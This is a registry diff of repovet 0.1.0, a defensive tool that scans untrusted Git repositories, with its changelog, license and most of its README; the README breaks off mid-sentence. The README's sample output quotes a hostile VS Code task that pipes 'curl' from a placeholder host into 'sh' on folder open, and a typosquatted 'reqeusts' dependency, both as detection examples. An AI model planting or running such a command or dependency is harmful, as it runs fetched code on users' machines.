repovet 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- repovet-0.1.0/.gitignore +9 -0
- repovet-0.1.0/CHANGELOG.md +37 -0
- repovet-0.1.0/LICENSE +21 -0
- repovet-0.1.0/PKG-INFO +503 -0
- repovet-0.1.0/README.md +471 -0
- repovet-0.1.0/RULES.md +181 -0
- repovet-0.1.0/SECURITY.md +47 -0
- repovet-0.1.0/docs/report.schema.json +900 -0
- repovet-0.1.0/pyproject.toml +199 -0
- repovet-0.1.0/scripts/check_dist.py +110 -0
- repovet-0.1.0/src/repovet/__init__.py +3 -0
- repovet-0.1.0/src/repovet/__main__.py +6 -0
- repovet-0.1.0/src/repovet/analyzers/__init__.py +56 -0
- repovet-0.1.0/src/repovet/analyzers/agents.py +11 -0
- repovet-0.1.0/src/repovet/analyzers/autorun.py +14 -0
- repovet-0.1.0/src/repovet/analyzers/binaries.py +11 -0
- repovet-0.1.0/src/repovet/analyzers/dependencies.py +11 -0
- repovet-0.1.0/src/repovet/analyzers/download_exec.py +11 -0
- repovet-0.1.0/src/repovet/analyzers/obfuscation.py +11 -0
- repovet-0.1.0/src/repovet/analyzers/provenance.py +706 -0
- repovet-0.1.0/src/repovet/analyzers/trust.py +765 -0
- repovet-0.1.0/src/repovet/cli.py +498 -0
- repovet-0.1.0/src/repovet/data/SOURCES.md +72 -0
- repovet-0.1.0/src/repovet/data/languages.yaml +69 -0
- repovet-0.1.0/src/repovet/data/npm-top.txt +15916 -0
- repovet-0.1.0/src/repovet/data/provenance.yaml +129 -0
- repovet-0.1.0/src/repovet/data/pypi-top.txt +15006 -0
- repovet-0.1.0/src/repovet/data/trust.yaml +65 -0
- repovet-0.1.0/src/repovet/engine/__init__.py +1 -0
- repovet-0.1.0/src/repovet/engine/checks/__init__.py +37 -0
- repovet-0.1.0/src/repovet/engine/checks/base.py +436 -0
- repovet-0.1.0/src/repovet/engine/checks/blob.py +238 -0
- repovet-0.1.0/src/repovet/engine/checks/dependency.py +179 -0
- repovet-0.1.0/src/repovet/engine/checks/filename.py +48 -0
- repovet-0.1.0/src/repovet/engine/checks/import_ref.py +96 -0
- repovet-0.1.0/src/repovet/engine/checks/keypath.py +202 -0
- repovet-0.1.0/src/repovet/engine/checks/magic.py +115 -0
- repovet-0.1.0/src/repovet/engine/checks/metric.py +109 -0
- repovet-0.1.0/src/repovet/engine/checks/python_ast.py +113 -0
- repovet-0.1.0/src/repovet/engine/checks/regex.py +97 -0
- repovet-0.1.0/src/repovet/engine/checks/tree.py +91 -0
- repovet-0.1.0/src/repovet/engine/checks/unicode.py +257 -0
- repovet-0.1.0/src/repovet/engine/context.py +47 -0
- repovet-0.1.0/src/repovet/engine/loader.py +449 -0
- repovet-0.1.0/src/repovet/engine/runner.py +152 -0
- repovet-0.1.0/src/repovet/github/__init__.py +1 -0
- repovet-0.1.0/src/repovet/github/api.py +93 -0
- repovet-0.1.0/src/repovet/github/client.py +381 -0
- repovet-0.1.0/src/repovet/github/target.py +50 -0
- repovet-0.1.0/src/repovet/github/transport.py +53 -0
- repovet-0.1.0/src/repovet/limits.py +58 -0
- repovet-0.1.0/src/repovet/models.py +166 -0
- repovet-0.1.0/src/repovet/parsers/__init__.py +1 -0
- repovet-0.1.0/src/repovet/parsers/gitconfig.py +116 -0
- repovet-0.1.0/src/repovet/parsers/jsonc.py +36 -0
- repovet-0.1.0/src/repovet/parsers/manifests.py +345 -0
- repovet-0.1.0/src/repovet/parsers/structured.py +176 -0
- repovet-0.1.0/src/repovet/report/__init__.py +1 -0
- repovet-0.1.0/src/repovet/report/common.py +32 -0
- repovet-0.1.0/src/repovet/report/json_out.py +77 -0
- repovet-0.1.0/src/repovet/report/sanitize.py +67 -0
- repovet-0.1.0/src/repovet/report/sarif.py +181 -0
- repovet-0.1.0/src/repovet/report/terminal.py +227 -0
- repovet-0.1.0/src/repovet/rules/_filesets.yaml +287 -0
- repovet-0.1.0/src/repovet/rules/_patterns.yaml +53 -0
- repovet-0.1.0/src/repovet/rules/_unsupported.yaml +94 -0
- repovet-0.1.0/src/repovet/rules/agents.yaml +579 -0
- repovet-0.1.0/src/repovet/rules/autorun.yaml +1176 -0
- repovet-0.1.0/src/repovet/rules/binaries.yaml +276 -0
- repovet-0.1.0/src/repovet/rules/dependencies.yaml +179 -0
- repovet-0.1.0/src/repovet/rules/download_exec.yaml +130 -0
- repovet-0.1.0/src/repovet/rules/obfuscation.yaml +261 -0
- repovet-0.1.0/src/repovet/rules/provenance.yaml +204 -0
- repovet-0.1.0/src/repovet/rules/trust.yaml +272 -0
- repovet-0.1.0/src/repovet/sources/__init__.py +1 -0
- repovet-0.1.0/src/repovet/sources/gitmeta.py +271 -0
- repovet-0.1.0/src/repovet/sources/gitobjects.py +341 -0
- repovet-0.1.0/src/repovet/sources/gittree.py +152 -0
- repovet-0.1.0/src/repovet/sources/local.py +239 -0
- repovet-0.1.0/src/repovet/sources/remote.py +320 -0
- repovet-0.1.0/src/repovet/sources/tree.py +140 -0
- repovet-0.1.0/tests/conftest.py +100 -0
- repovet-0.1.0/tests/corpus/README.md +97 -0
- repovet-0.1.0/tests/corpus/corpus.yaml +78 -0
- repovet-0.1.0/tests/github_fake.py +181 -0
- repovet-0.1.0/tests/github_fixtures/README.md +22 -0
- repovet-0.1.0/tests/github_fixtures/established.json +397 -0
- repovet-0.1.0/tests/gitrepo.py +187 -0
- repovet-0.1.0/tests/golden/report.json +108 -0
- repovet-0.1.0/tests/golden/report.sarif +206 -0
- repovet-0.1.0/tests/golden/terminal_report.txt +37 -0
- repovet-0.1.0/tests/helpers.py +189 -0
- repovet-0.1.0/tests/rule_cases/agents.yaml +519 -0
- repovet-0.1.0/tests/rule_cases/autorun.yaml +1111 -0
- repovet-0.1.0/tests/rule_cases/binaries.yaml +264 -0
- repovet-0.1.0/tests/rule_cases/dependencies.yaml +208 -0
- repovet-0.1.0/tests/rule_cases/download_exec.yaml +155 -0
- repovet-0.1.0/tests/rule_cases/obfuscation.yaml +244 -0
- repovet-0.1.0/tests/rule_cases/provenance.yaml +141 -0
- repovet-0.1.0/tests/rule_cases/trust.yaml +255 -0
- repovet-0.1.0/tests/schemas/README.md +9 -0
- repovet-0.1.0/tests/schemas/sarif-schema-2.1.0.json +3389 -0
- repovet-0.1.0/tests/test_analyzers.py +64 -0
- repovet-0.1.0/tests/test_canary.py +54 -0
- repovet-0.1.0/tests/test_checks_base.py +103 -0
- repovet-0.1.0/tests/test_checks_blob.py +122 -0
- repovet-0.1.0/tests/test_checks_dependency.py +67 -0
- repovet-0.1.0/tests/test_checks_filename.py +31 -0
- repovet-0.1.0/tests/test_checks_import_ref.py +66 -0
- repovet-0.1.0/tests/test_checks_keypath.py +150 -0
- repovet-0.1.0/tests/test_checks_magic.py +46 -0
- repovet-0.1.0/tests/test_checks_python_ast.py +63 -0
- repovet-0.1.0/tests/test_checks_regex.py +71 -0
- repovet-0.1.0/tests/test_checks_tree.py +111 -0
- repovet-0.1.0/tests/test_checks_unicode.py +100 -0
- repovet-0.1.0/tests/test_cli.py +182 -0
- repovet-0.1.0/tests/test_corpus.py +56 -0
- repovet-0.1.0/tests/test_dogfood.py +16 -0
- repovet-0.1.0/tests/test_gitconfig.py +60 -0
- repovet-0.1.0/tests/test_github_client.py +405 -0
- repovet-0.1.0/tests/test_gittree.py +187 -0
- repovet-0.1.0/tests/test_history.py +299 -0
- repovet-0.1.0/tests/test_jsonc.py +47 -0
- repovet-0.1.0/tests/test_limits.py +37 -0
- repovet-0.1.0/tests/test_loader.py +148 -0
- repovet-0.1.0/tests/test_local.py +187 -0
- repovet-0.1.0/tests/test_manifests.py +173 -0
- repovet-0.1.0/tests/test_models.py +46 -0
- repovet-0.1.0/tests/test_network_lock.py +53 -0
- repovet-0.1.0/tests/test_performance.py +65 -0
- repovet-0.1.0/tests/test_provenance.py +211 -0
- repovet-0.1.0/tests/test_readme.py +36 -0
- repovet-0.1.0/tests/test_redos.py +117 -0
- repovet-0.1.0/tests/test_remote.py +301 -0
- repovet-0.1.0/tests/test_remote_http.py +96 -0
- repovet-0.1.0/tests/test_report_formats.py +228 -0
- repovet-0.1.0/tests/test_rule_cases.py +98 -0
- repovet-0.1.0/tests/test_runner.py +93 -0
- repovet-0.1.0/tests/test_sanitize.py +58 -0
- repovet-0.1.0/tests/test_self_check.py +168 -0
- repovet-0.1.0/tests/test_structured.py +89 -0
- repovet-0.1.0/tests/test_terminal.py +176 -0
- repovet-0.1.0/tests/test_tree.py +66 -0
- repovet-0.1.0/tests/test_trust.py +160 -0
- repovet-0.1.0/tests/test_trust_profile.py +306 -0
- repovet-0.1.0/uv.lock +662 -0
repovet-0.1.0/.gitignore
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to repovet are listed here. The format follows
|
|
4
|
+
[Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and versions follow
|
|
5
|
+
[Semantic Versioning](https://semver.org/). Rule IDs are never renamed or reused; the
|
|
6
|
+
exit codes and the JSON report (`schema_version`) are stable interfaces.
|
|
7
|
+
|
|
8
|
+
## [0.1.0] - 2026-10-29
|
|
9
|
+
|
|
10
|
+
First release.
|
|
11
|
+
|
|
12
|
+
### Added
|
|
13
|
+
|
|
14
|
+
- `repovet scan PATH|URL` statically checks a local folder or a public GitHub
|
|
15
|
+
repository (`https://github.com/<owner>/<repo>`, optional `--ref`) without running
|
|
16
|
+
anything from it. URL targets are fetched as Git objects only, with dulwich, into a
|
|
17
|
+
temporary folder that is deleted after the scan.
|
|
18
|
+
- 126 detection rules in eight areas, defined as YAML data: auto-run code (`RC-AUTO`),
|
|
19
|
+
AI agent instructions and configuration (`RC-AGENT`), obfuscation (`RC-OBF`),
|
|
20
|
+
download-and-execute (`RC-DLX`), binaries and file-system tricks (`RC-BIN`),
|
|
21
|
+
dependencies (`RC-DEP`), provenance indicators (`RC-PROV`) and trust indicators
|
|
22
|
+
(`RC-TRUST`).
|
|
23
|
+
- Every finding has a rule ID, severity, confidence, file and line where it applies,
|
|
24
|
+
a reason and a recommendation. Gaps in coverage are listed under "Not checked".
|
|
25
|
+
- Provenance profile from the files and the Git history, and a trust profile from the
|
|
26
|
+
GitHub REST API (optional token from `GITHUB_TOKEN` or `GH_TOKEN`; `--offline` turns
|
|
27
|
+
the API off).
|
|
28
|
+
- Reports for the terminal, as JSON (`schema_version` 1.2) and as SARIF 2.1.0. Text from
|
|
29
|
+
the checked repository is masked before output.
|
|
30
|
+
- Options to filter (`--min-severity`), set the failure threshold (`--fail-on`), skip
|
|
31
|
+
rules (`--ignore-rule`), add rule folders (`--rules`) and set size and time limits.
|
|
32
|
+
- `repovet rules list` (with `--area` and `--markdown`).
|
|
33
|
+
- Exit codes: 0 no findings at or above the threshold, 1 findings at or above the
|
|
34
|
+
threshold, 2 usage error, 3 analysis aborted.
|
|
35
|
+
- Windows, macOS and Linux with Python 3.12 and 3.13.
|
|
36
|
+
|
|
37
|
+
[0.1.0]: https://github.com/m3xXmo0/repovet/releases/tag/v0.1.0
|
repovet-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 m3xXmo0
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
repovet-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,503 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: repovet
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Vet a Git repository before you run it.
|
|
5
|
+
Project-URL: Homepage, https://github.com/m3xXmo0/repovet
|
|
6
|
+
Project-URL: Issues, https://github.com/m3xXmo0/repovet/issues
|
|
7
|
+
Project-URL: Changelog, https://github.com/m3xXmo0/repovet/blob/main/CHANGELOG.md
|
|
8
|
+
Author: m3xXmo0
|
|
9
|
+
License-Expression: MIT
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Keywords: ai-agents,code-review,git,github,sarif,security,static-analysis,supply-chain
|
|
12
|
+
Classifier: Development Status :: 3 - Alpha
|
|
13
|
+
Classifier: Environment :: Console
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Intended Audience :: Information Technology
|
|
16
|
+
Classifier: Natural Language :: English
|
|
17
|
+
Classifier: Operating System :: MacOS
|
|
18
|
+
Classifier: Operating System :: Microsoft :: Windows
|
|
19
|
+
Classifier: Operating System :: OS Independent
|
|
20
|
+
Classifier: Operating System :: POSIX :: Linux
|
|
21
|
+
Classifier: Programming Language :: Python :: 3
|
|
22
|
+
Classifier: Programming Language :: Python :: 3 :: Only
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
24
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
25
|
+
Classifier: Topic :: Security
|
|
26
|
+
Classifier: Topic :: Software Development :: Quality Assurance
|
|
27
|
+
Classifier: Topic :: Software Development :: Version Control :: Git
|
|
28
|
+
Requires-Python: >=3.12
|
|
29
|
+
Requires-Dist: dulwich==1.2.17
|
|
30
|
+
Requires-Dist: pyyaml==6.0.3
|
|
31
|
+
Description-Content-Type: text/markdown
|
|
32
|
+
|
|
33
|
+
# repovet
|
|
34
|
+
|
|
35
|
+
Vet a Git repository before you run it.
|
|
36
|
+
|
|
37
|
+
repovet statically checks an untrusted Git repository **before** you run, install,
|
|
38
|
+
build or open anything from it, and never executes code from it.
|
|
39
|
+
|
|
40
|
+
It is built around three questions:
|
|
41
|
+
|
|
42
|
+
| Category | Question |
|
|
43
|
+
|------------|-----------------------------------------------------------------------------|
|
|
44
|
+
| danger | Does anything run automatically, or is something hidden, obfuscated or injected? |
|
|
45
|
+
| trust | How do the owner, stars, contributors and maintenance look? |
|
|
46
|
+
| provenance | What is the repository made of, and how did it come about? |
|
|
47
|
+
|
|
48
|
+
The result is a list of findings plus an honest list of what was **not** checked.
|
|
49
|
+
repovet never says that a repository is safe.
|
|
50
|
+
|
|
51
|
+
## Status
|
|
52
|
+
|
|
53
|
+
Early: version 0.1.0 is the first release. What works today:
|
|
54
|
+
|
|
55
|
+
- **Local folders and public GitHub repositories.** A URL like
|
|
56
|
+
`https://github.com/<owner>/<repo>` is fetched into a temporary folder as Git objects
|
|
57
|
+
only (no checkout, nothing from the repository is written under its own file name)
|
|
58
|
+
and deleted after the scan.
|
|
59
|
+
- **Reports** for the terminal, as JSON (`docs/report.schema.json`) or as SARIF 2.1.0
|
|
60
|
+
for code-scanning tools.
|
|
61
|
+
- **Provenance profile** (facts, not findings): languages, size, largest files,
|
|
62
|
+
top-level structure, usual project files that are present or missing, share of
|
|
63
|
+
generated or vendored files, license (file text and manifest) and notable files such
|
|
64
|
+
as AI agent configuration, dev containers or editor settings. With Git history (a URL
|
|
65
|
+
target, or a local folder with a `.git` folder): commits, time span, authors and
|
|
66
|
+
e-mail domains, signed commits, the share of files that arrived in the first commit
|
|
67
|
+
and AI tools named in commit messages.
|
|
68
|
+
- **Provenance indicators** (`info`/`low`, rules `RC-PROV-*`): one large initial commit,
|
|
69
|
+
commit dates in the future or edited, a history rewritten or created in one go, AI
|
|
70
|
+
tool trailers, "generated with" notes and committed AI session histories. They are
|
|
71
|
+
hints about how a repository came about, never a verdict: commit dates and authors
|
|
72
|
+
can be set by anyone.
|
|
73
|
+
- **Trust profile** (facts from the GitHub API, see [Trust](#trust-github-api)):
|
|
74
|
+
repository and owner age, account type, stars, forks, watchers, contributors,
|
|
75
|
+
commits, last commit, releases, open issues, archived/fork/template, default-branch
|
|
76
|
+
protection, the license GitHub detects, and for a local folder whether its HEAD
|
|
77
|
+
commit exists in the GitHub repository its Git remote names. `--offline` turns it off.
|
|
78
|
+
- **Trust indicators** (`info` to `medium`, rules `RC-TRUST-*`): a very new owner
|
|
79
|
+
account or a very young repository with many stars, most stars within one day, a fork
|
|
80
|
+
of a much more popular repository, a release that offers programs or archives from a
|
|
81
|
+
repository with hardly any code, archived or inactive repositories, a local HEAD that
|
|
82
|
+
GitHub does not know, a manifest that names another owner's repository, and an older,
|
|
83
|
+
more popular repository with the same name and description. They are indicators,
|
|
84
|
+
never a verdict, and there is no score.
|
|
85
|
+
- **Danger, six areas:** auto-run code (`autorun`), AI agent instructions and
|
|
86
|
+
configuration (`agents`), obfuscated code (`obfuscation`), download-and-execute
|
|
87
|
+
(`download_exec`), binaries and file-system tricks (`binaries`) and suspicious
|
|
88
|
+
dependencies (`dependencies`); see [What is checked](#what-is-checked).
|
|
89
|
+
- Windows, macOS and Linux with Python 3.12 or 3.13; the test suite runs on all three
|
|
90
|
+
in CI.
|
|
91
|
+
|
|
92
|
+
## Installation
|
|
93
|
+
|
|
94
|
+
repovet needs Python 3.12 or newer. Install it as a command-line tool in its own
|
|
95
|
+
environment with [uv](https://docs.astral.sh/uv/) (uv downloads a matching Python if
|
|
96
|
+
needed) or pipx:
|
|
97
|
+
|
|
98
|
+
```
|
|
99
|
+
uv tool install repovet
|
|
100
|
+
# or
|
|
101
|
+
pipx install repovet
|
|
102
|
+
|
|
103
|
+
repovet --version
|
|
104
|
+
```
|
|
105
|
+
|
|
106
|
+
Runtime dependencies are PyYAML and [dulwich](https://www.dulwich.io/) (pure-Python
|
|
107
|
+
Git, which brings urllib3).
|
|
108
|
+
|
|
109
|
+
From source, with the exact versions pinned in `uv.lock`:
|
|
110
|
+
|
|
111
|
+
```
|
|
112
|
+
git clone https://github.com/m3xXmo0/repovet.git
|
|
113
|
+
cd repovet
|
|
114
|
+
uv sync
|
|
115
|
+
uv run repovet --version
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
In a source checkout, put `uv run` in front of the commands below.
|
|
119
|
+
|
|
120
|
+
## Usage
|
|
121
|
+
|
|
122
|
+
```
|
|
123
|
+
repovet scan PATH|URL [options]
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
Examples:
|
|
127
|
+
|
|
128
|
+
```
|
|
129
|
+
# Check a folder you downloaded or cloned
|
|
130
|
+
repovet scan D:\downloads\some-repo
|
|
131
|
+
|
|
132
|
+
# Check a public GitHub repository without cloning it yourself (default branch)
|
|
133
|
+
repovet scan https://github.com/pallets/flask
|
|
134
|
+
|
|
135
|
+
# A branch, a tag or a full commit id; keep the temporary Git objects for a look
|
|
136
|
+
repovet scan https://github.com/pallets/flask --ref 3.1.0
|
|
137
|
+
repovet scan https://github.com/pallets/flask --ref <40-character commit id> --keep-clone
|
|
138
|
+
|
|
139
|
+
# Plain output without colors (also set by the NO_COLOR environment variable)
|
|
140
|
+
repovet scan ./some-repo --no-color
|
|
141
|
+
|
|
142
|
+
# Only show high and critical findings
|
|
143
|
+
repovet scan ./some-repo --min-severity high
|
|
144
|
+
|
|
145
|
+
# Exit with 1 already on medium findings (default threshold: high)
|
|
146
|
+
repovet scan ./some-repo --fail-on medium
|
|
147
|
+
|
|
148
|
+
# Also check .venv, venv, node_modules, .tox, .nox and tool caches (skipped by default)
|
|
149
|
+
repovet scan ./some-repo --include-env-dirs
|
|
150
|
+
|
|
151
|
+
# JSON report to stdout, SARIF report into a file (never inside the checked folder)
|
|
152
|
+
repovet scan ./some-repo --format json
|
|
153
|
+
repovet scan ./some-repo --format sarif -o repovet.sarif
|
|
154
|
+
|
|
155
|
+
# Skip one rule, check larger files, add your own rules folder
|
|
156
|
+
repovet scan ./some-repo --ignore-rule RC-AGENT-001 --max-file-size 8MB --rules ./my-rules
|
|
157
|
+
|
|
158
|
+
# List the rules, optionally for one area
|
|
159
|
+
repovet rules list
|
|
160
|
+
repovet rules list --area agents
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
All `scan` options:
|
|
164
|
+
|
|
165
|
+
| Option | Meaning |
|
|
166
|
+
|-------------------------|----------------------------------------------------------------------|
|
|
167
|
+
| `--min-severity LEVEL` | Hide findings below `info`, `low`, `medium`, `high` or `critical` (default: `info`). |
|
|
168
|
+
| `--fail-on LEVEL` | Exit with 1 if a finding has at least this level (default: `high`). |
|
|
169
|
+
| `--ignore-rule ID` | Do not run this rule (repeatable). |
|
|
170
|
+
| `--rules DIR` | Load additional rules from this folder (repeatable). |
|
|
171
|
+
| `--max-file-size SIZE` | Largest file whose content is checked (default: `2MB`). |
|
|
172
|
+
| `--include-env-dirs` | Also check environment and tool cache folders. |
|
|
173
|
+
| `--ref REF` | URL targets: branch, tag or full commit id (default: the default branch). |
|
|
174
|
+
| `--keep-clone` | URL targets: keep the temporary folder with the fetched Git objects; its path is printed. |
|
|
175
|
+
| `--max-clone-size SIZE` | URL targets: abort if the download is larger (default: `500MB`). |
|
|
176
|
+
| `--clone-timeout SECONDS` | URL targets: abort the download after this time (default: `300`). |
|
|
177
|
+
| `--format FORMAT` | `text` (default), `json` or `sarif`. |
|
|
178
|
+
| `-o`, `--output FILE` | Write the report to FILE instead of stdout. FILE must be outside the checked folder. |
|
|
179
|
+
| `--no-color` | Plain output without colors. |
|
|
180
|
+
| `--offline` | No GitHub API queries for the trust area (a URL target is still downloaded). |
|
|
181
|
+
| `-v`, `--verbose` | More detail. |
|
|
182
|
+
|
|
183
|
+
Rule suppressions and other configuration are only taken from the command line, never
|
|
184
|
+
from the checked repository (that content is controlled by whoever wrote the repository).
|
|
185
|
+
|
|
186
|
+
## Sample output
|
|
187
|
+
|
|
188
|
+
An excerpt from a real scan of a small test folder (path shortened, the URLs are
|
|
189
|
+
placeholders):
|
|
190
|
+
|
|
191
|
+
```
|
|
192
|
+
repovet 0.1.0 | local folder D:\src\demo | offline | 5 files | 126 rules
|
|
193
|
+
Lines starting with '>' are untrusted content quoted from the repository.
|
|
194
|
+
|
|
195
|
+
DANGER 1 critical | 2 high | 1 medium
|
|
196
|
+
CRITICAL RC-AUTO-021 .vscode/tasks.json:7 confidence high
|
|
197
|
+
Task starts on folder open and fetches or runs code: curl -s
|
|
198
|
+
https://example.invalid/i.sh | sh
|
|
199
|
+
> "command": "curl -s https://example.invalid/i.sh | sh",
|
|
200
|
+
Why This task starts as soon as the folder is opened in a trusted
|
|
201
|
+
workspace, and it downloads code, pipes into an interpreter or
|
|
202
|
+
decodes a payload.
|
|
203
|
+
Do Do not trust this folder in VS Code. Open it in Restricted
|
|
204
|
+
Mode or another editor and remove the task before working with
|
|
205
|
+
it.
|
|
206
|
+
|
|
207
|
+
HIGH RC-DEP-001 requirements.txt:2 confidence medium
|
|
208
|
+
'reqeusts' looks like the popular package 'requests' (rank 7)
|
|
209
|
+
> reqeusts>=2.31
|
|
210
|
+
...
|
|
211
|
+
|
|
212
|
+
NOT CHECKED
|
|
213
|
+
- trust (GitHub API): no GitHub repository is known for this folder (no Git remote in .git/config)
|
|
214
|
+
- Environment and tool cache folders (.venv, venv, node_modules, .tox, .nox, .mypy_cache, .ruff_cache, .pytest_cache) skipped; use --include-env-dirs to check them (1): node_modules
|
|
215
|
+
- No .git folder; the Git history was not checked
|
|
216
|
+
- Dependencies are checked by name and declared source only; their code and install scripts are not checked (no registry queries) (2): package.json, requirements.txt
|
|
217
|
+
|
|
218
|
+
repovet reports only what its 126 rules detect in the checked scope.
|
|
219
|
+
A missing finding is not proof that the repository is safe.
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
Each finding has a rule ID, severity, confidence, file and line (where it applies), the
|
|
223
|
+
reason (`Why`) and a recommendation (`Do`). Text quoted from the repository is masked
|
|
224
|
+
before output: control characters and invisible Unicode characters are shown as
|
|
225
|
+
`<U+XXXX>`, so they cannot change your terminal or mislead a reader.
|
|
226
|
+
|
|
227
|
+
On a terminal with UTF-8 output, `|` in the header is shown as `·`.
|
|
228
|
+
|
|
229
|
+
Before "Not checked", the report shows the provenance profile. It describes the
|
|
230
|
+
repository; it is not a finding and not a quality score (same demo folder):
|
|
231
|
+
|
|
232
|
+
```
|
|
233
|
+
PROVENANCE PROFILE facts, not findings
|
|
234
|
+
Files 5 files, 448 bytes; 5 text files with 22 lines, 0 binary
|
|
235
|
+
Languages TypeScript 100% (1 file)
|
|
236
|
+
Data, docs JSON (2), Markdown (1), Text (1)
|
|
237
|
+
Largest .vscode/tasks.json (209 bytes), package.json (118 bytes),
|
|
238
|
+
src/index.ts (47 bytes)
|
|
239
|
+
Top level .vscode/, src/, package.json, README.md, requirements.txt
|
|
240
|
+
Present readme
|
|
241
|
+
Missing license, tests, CI, docs, changelog, contributing guide, security
|
|
242
|
+
policy, code of conduct, code owners, dependency update bot
|
|
243
|
+
License no license file found
|
|
244
|
+
Notable editor and IDE settings (1): .vscode/tasks.json
|
|
245
|
+
package manifests (2): package.json, requirements.txt
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
## Trust (GitHub API)
|
|
249
|
+
|
|
250
|
+
For a GitHub URL, and for a local folder whose `.git/config` names a GitHub repository
|
|
251
|
+
as remote `origin` (or as its only remote), repovet asks the GitHub REST API about the
|
|
252
|
+
repository and its owner. The trust profile comes before the provenance profile
|
|
253
|
+
(excerpt, anonymized):
|
|
254
|
+
|
|
255
|
+
```
|
|
256
|
+
TRUST PROFILE facts, not findings
|
|
257
|
+
Repository example-org/example-repo, created 2010-04-06 (16 years ago); last
|
|
258
|
+
push 2026-10-07 (22 days ago)
|
|
259
|
+
Owner example-org (organization), account created 2016-01-17 (10 years
|
|
260
|
+
ago); 16 public repositories, 2,654 followers
|
|
261
|
+
Popularity 74,935 stars, 17,200 forks, 2,130 watchers
|
|
262
|
+
Activity 5,562 commits on main, last 2026-10-07 (22 days ago); 864
|
|
263
|
+
contributors; 38 releases, latest 3.1.3 on 2026-02-19 (2 assets);
|
|
264
|
+
4 open issues and pull requests
|
|
265
|
+
Status not archived; not a fork; main is protected; license BSD-3-Clause
|
|
266
|
+
(GitHub); no security policy in the files
|
|
267
|
+
API 6 requests, 52 of 60 left (resets 17:46 UTC), no token
|
|
268
|
+
Stars, forks, followers and accounts can be bought or faked; these
|
|
269
|
+
are indicators, not proof.
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
- **A local folder's remote is only a claim.** Whoever prepared the folder chose it.
|
|
273
|
+
repovet therefore looks up the folder's HEAD commit in that repository (`Local`
|
|
274
|
+
line). GitHub also finds commits that exist only in forks of the repository, so
|
|
275
|
+
"found" is no proof either.
|
|
276
|
+
- **Requests:** usually 6 to 8 per scan: repository, owner, commits, contributors,
|
|
277
|
+
latest release, default branch, a name search (only for descriptions of 20 or more
|
|
278
|
+
characters), the local HEAD of a folder, the star times (one or two requests, only for
|
|
279
|
+
50 to 200 stars) and the repository a manifest names (only if it belongs to another
|
|
280
|
+
owner). Counts come from one-item pages, so large repositories cost the same. Each scan stops after 25 requests
|
|
281
|
+
without a token (100 with one) and after 60 seconds.
|
|
282
|
+
- **Rate limit:** without a token GitHub allows 60 requests per hour and IP address.
|
|
283
|
+
repovet checks the remaining requests first (that check is free), waits at most 20
|
|
284
|
+
seconds when GitHub asks for a short pause, and otherwise stops and lists what was not
|
|
285
|
+
checked under "Not checked", with the time the limit resets. The scan itself
|
|
286
|
+
continues; the exit code does not change.
|
|
287
|
+
- **Token (optional):** set `GITHUB_TOKEN` or `GH_TOKEN` to raise the limit to 5,000
|
|
288
|
+
requests per hour. A fine-grained token without any permissions is enough, because
|
|
289
|
+
only public data is read. The token is sent only to `https://api.github.com`, never
|
|
290
|
+
on the command line, and never appears in reports, error messages or `-v` output.
|
|
291
|
+
The report says only whether a token was used and from which variable.
|
|
292
|
+
|
|
293
|
+
```
|
|
294
|
+
# Bash
|
|
295
|
+
GITHUB_TOKEN=github_pat_... uv run repovet scan https://github.com/pallets/flask
|
|
296
|
+
|
|
297
|
+
# PowerShell
|
|
298
|
+
$env:GITHUB_TOKEN = "github_pat_..."; uv run repovet scan https://github.com/pallets/flask
|
|
299
|
+
```
|
|
300
|
+
- **What is not used:** private repositories, GraphQL, the stargazer accounts
|
|
301
|
+
themselves, and any cache (every scan asks again).
|
|
302
|
+
- **Limits of the indicators:** the name search looks at the five most starred
|
|
303
|
+
repositories whose name contains the checked name; star times are only fetched for
|
|
304
|
+
50 to 200 stars; only the latest release is looked at; manifests only in the root
|
|
305
|
+
folder. Stars, accounts, dates and descriptions can all be faked.
|
|
306
|
+
|
|
307
|
+
## JSON and SARIF
|
|
308
|
+
|
|
309
|
+
- **JSON** (`--format json`): tool, target, scan data, a summary per severity and
|
|
310
|
+
